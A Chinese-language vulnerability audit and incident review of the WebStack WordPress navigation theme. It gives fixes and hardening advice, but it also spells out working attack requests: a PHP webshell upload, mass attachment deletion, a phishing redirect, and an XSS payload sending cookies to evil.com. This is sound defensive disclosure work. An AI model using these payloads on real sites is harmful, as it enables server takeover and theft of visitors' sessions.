2026年4月中旬,使用 WebStack 导航主题的 WordPress 站点遭遇大面积入侵。攻击者利用主题内置的图片上传接口,无需登录即可上传任意 PHP 文件(webshell),进而完全控制服务器。本站的导航站(p.biry.net)也在此次事件中被攻破,以下是基于真实入侵日志的完整复盘与修复方案。
WebStack 主题安全漏洞审计报告
审计日期: 2026-05-23
主题版本: WebStack 导航主题
审计范围: 主题全部 PHP 文件
漏洞总数: 5 个(严重 2 个、高危 2 个、中危 1 个)
漏洞总览
| 编号 | 严重程度 | 文件 | 漏洞类型 | 状态 |
|---|---|---|---|---|
| VULN-01 | 🔴 严重 | inc/ajax.php |
未授权任意文件上传(PHP 木马) | 待修复 |
| VULN-02 | 🔴 严重 | inc/img-upload.php |
遗留上传脚本可直接访问 | 待修复 |
| VULN-03 | 🟠 高危 | inc/ajax.php |
未授权任意附件删除 | 待修复 |
| VULN-04 | 🟠 高危 | go.php |
开放重定向 + HTML 注入 | 待修复 |
| VULN-05 | 🟡 中危 | search-tool.php |
混淆 eval() JavaScript | 待修复 |
详细漏洞说明
VULN-01 — 🔴 严重:未授权任意文件上传
文件: inc/ajax.php
行号: 第 5–36 行
CVSS 评分: 10.0(Critical)
漏洞原理
AJAX 处理函数 io_img_upload 同时注册了 wp_ajax_nopriv_img_upload(未登录用户可触发)和 wp_ajax_img_upload(已登录用户可触发)。以下三个缺陷叠加,导致任何人无需登录即可上传任意 PHP 文件:
缺陷 1:无身份验证和 nonce 校验
// 第 5-6 行:nopriv 注册允许未登录用户直接调用
add_action('wp_ajax_nopriv_img_upload', 'io_img_upload');
add_action('wp_ajax_img_upload', 'io_img_upload');
// 函数内部完全没有以下任何一行:
// check_ajax_referer(...)
// wp_verify_nonce(...)
// current_user_can(...)
// is_user_logged_in()
缺陷 2:扩展名白名单定义了但从未执行检查
// 第 8 行:定义了白名单
$extArr = array("jpg", "png", "jpeg");
// 第 13 行:从客户端文件名中取扩展名
$baseext = pathinfo($basename, PATHINFO_EXTENSION);
// 问题:代码中从未出现 in_array($baseext, $extArr) 的调用
// 白名单完全形同虚设
缺陷 3:MIME 类型和文件名均取自客户端,完全可伪造
// 第 12 行:文件名由攻击者控制
$basename = $file['name']; // 攻击者发送 "shell.php"
// 第 19 行:MIME 类型取自 HTTP Content-Type 头,攻击者可任意设置
'post_mime_type' => $file['type'], // 攻击者发送 "image/jpeg"
// 第 16 行:直接用 rename() 移动文件,不经过 WordPress 安全过滤
rename( $file['tmp_name'], $filename );
攻击方式
攻击者发送如下 HTTP 请求即可完成 PHP 木马上传:
POST /wp-admin/admin-ajax.php?action=img_upload HTTP/1.1
Host: your-site.com
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="files"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary--
服务器响应会直接返回上传后的完整 URL,例如:
{"status":1,"data":{"src":"https://your-site.com/wp-content/uploads/2026/05/20260523_a1b2c3d4.php"}}
攻击者随即访问该 URL 并传入 ?cmd=id 即可执行任意系统命令,实现完整的远程代码执行(RCE)。
影响范围
- 服务器完全沦陷(RCE)
- 数据库凭据泄露
- 可作为跳板攻击内网其他系统
- 网站被植入后门、挂马、SEO 黑链
VULN-02 — 🔴 严重:遗留上传脚本仍可直接访问
文件: inc/img-upload.php
行号: 第 1–60 行
CVSS 评分: 10.0(Critical)
漏洞原理
该文件头部注释明确写明”弃用,已经移至 ajax.php”,但文件仍然存在于主题目录中,可通过以下 URL 直接访问:
https://your-site.com/wp-content/themes/webstack/inc/img-upload.php
文件通过 require dirname(__FILE__).'/../../../../wp-load.php' 自行引导 WordPress 环境,然后处理文件上传。与 VULN-01 相同的三个缺陷全部存在,且扩展名校验代码被显式注释掉:
/* 使用前台 js 判断
if (!in_array($baseext, $extArr)) {
echo '{"status":3,"msg":"图片类型只能是jpeg,jpg,png!"}';
exit();
}
...
*/
注释说明开发者将安全校验完全依赖前端 JS,而前端校验对攻击者毫无约束力。
攻击方式
与 VULN-01 相同,但请求目标为主题文件直接路径:
POST /wp-content/themes/webstack/inc/img-upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="files"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary--
VULN-03 — 🟠 高危:未授权任意附件删除
文件: inc/ajax.php
行号: 第 39–52 行
CVSS 评分: 7.5(High)
漏洞原理
io_img_remove 函数同样注册了 wp_ajax_nopriv_img_remove,存在三个缺陷:
// 第 39 行:未登录用户可触发
add_action('wp_ajax_nopriv_img_remove', 'io_img_remove');
function io_img_remove(){
// 缺陷 1:无 nonce 验证
// 缺陷 2:无登录检查
$attach_id = $_POST["id"]; // 缺陷 3:无所有权校验,直接使用用户提交的 ID
if( empty($attach_id) ){
echo '{"status":3,"msg":"没有上传图像!"}';
exit;
}
if ( false === wp_delete_attachment( $attach_id ) ) // 直接删除任意附件
...
}
WordPress 附件 ID 为连续整数(1、2、3…),攻击者可枚举所有 ID,批量删除站点上的全部媒体文件。
攻击方式
POST /wp-admin/admin-ajax.php?action=img_remove HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=1
循环递增 id 值即可删除所有附件。
VULN-04 — 🟠 高危:开放重定向 + HTML 属性注入
文件: go.php
行号: 第 3–20 行
CVSS 评分: 7.4(High)
漏洞原理
go.php 是一个外链跳转中转页面,接收 $_GET['url'] 参数,base64 解码后直接拼入 HTML 输出,无任何过滤:
$url = $_GET['url'];
$b = base64_decode($b); // 解码结果完全由攻击者控制
<!-- 第 20 行:直接拼入 HTML 属性,无 esc_url() 或 htmlspecialchars() -->
<meta http-equiv="refresh" content="0.1;url=<?php echo $b; ?>">
攻击方式
攻击 1:开放重定向(钓鱼)
构造指向钓鱼网站的 base64 编码 URL,发给用户:
https://your-site.com/go.php?url=aHR0cHM6Ly9waGlzaGluZy1zaXRlLmNvbQ==
用户看到的是可信域名,点击后被重定向到钓鱼页面。
攻击 2:HTML 属性注入(XSS)
构造如下 payload 并 base64 编码:
"><script>document.location='https://evil.com/?c='+document.cookie</script>
编码后:
https://your-site.com/go.php?url=Ij48c2NyaXB0PmRvY3VtZW50LmxvY2F0aW9uPSdodHRwczovL2V2aWwuY29tLz9jPScrZG9jdW1lbnQuY29va2llPC9zY3JpcHQ+
访问后 <script> 标签被注入页面,窃取用户 Cookie。
VULN-05 — 🟡 中危:混淆的 eval() JavaScript 代码
文件: search-tool.php
行号: 第 86 行
CVSS 评分: 4.3(Medium)
漏洞原理
搜索组件的 JavaScript 逻辑使用了 JS Packer 混淆打包:
eval(function(e,t,a,c,i,n){ ... }('...', 62, 77, "...".split("|"), 0, {}));
问题 1:混淆代码难以审计
正常主题代码无需混淆。混淆是恶意代码的常见特征,一旦代码被篡改(供应链攻击、主题文件被替换),混淆会大幅延迟安全人员发现问题的时间。
问题 2:localStorage 影响跳转目标
反混淆后,代码从 localStorage.getItem("Ltype") 读取搜索类型,并用于设置表单 action 属性(即搜索请求的目标 URL)。若攻击者通过其他 XSS 漏洞写入 localStorage,可劫持搜索请求目标。
Nginx 防御建议
无论上述漏洞是否已修复,强烈建议在 Nginx 配置中禁止 uploads 目录执行 PHP,作为纵深防御:
# 在 server {} 块中添加
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Apache .htaccess 等效配置(放置于 wp-content/uploads/.htaccess):
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
此规则可确保即使攻击者成功上传了 PHP 文件,也无法通过 HTTP 请求执行它。
应急处置建议
- 立即在 Nginx/Apache 中添加上述 uploads 目录 PHP 执行禁止规则
- 立即扫描并删除 uploads 目录中所有已存在的
.php文件 - 检查服务器是否已被入侵(查看 crontab、
/tmp目录、异常进程) - 修改数据库密码、WordPress 管理员密码、服务器 SSH 密钥
- 按本报告修复所有漏洞后,重新扫描确认
源代码
所有漏洞已经修复完成,并开源在github上了


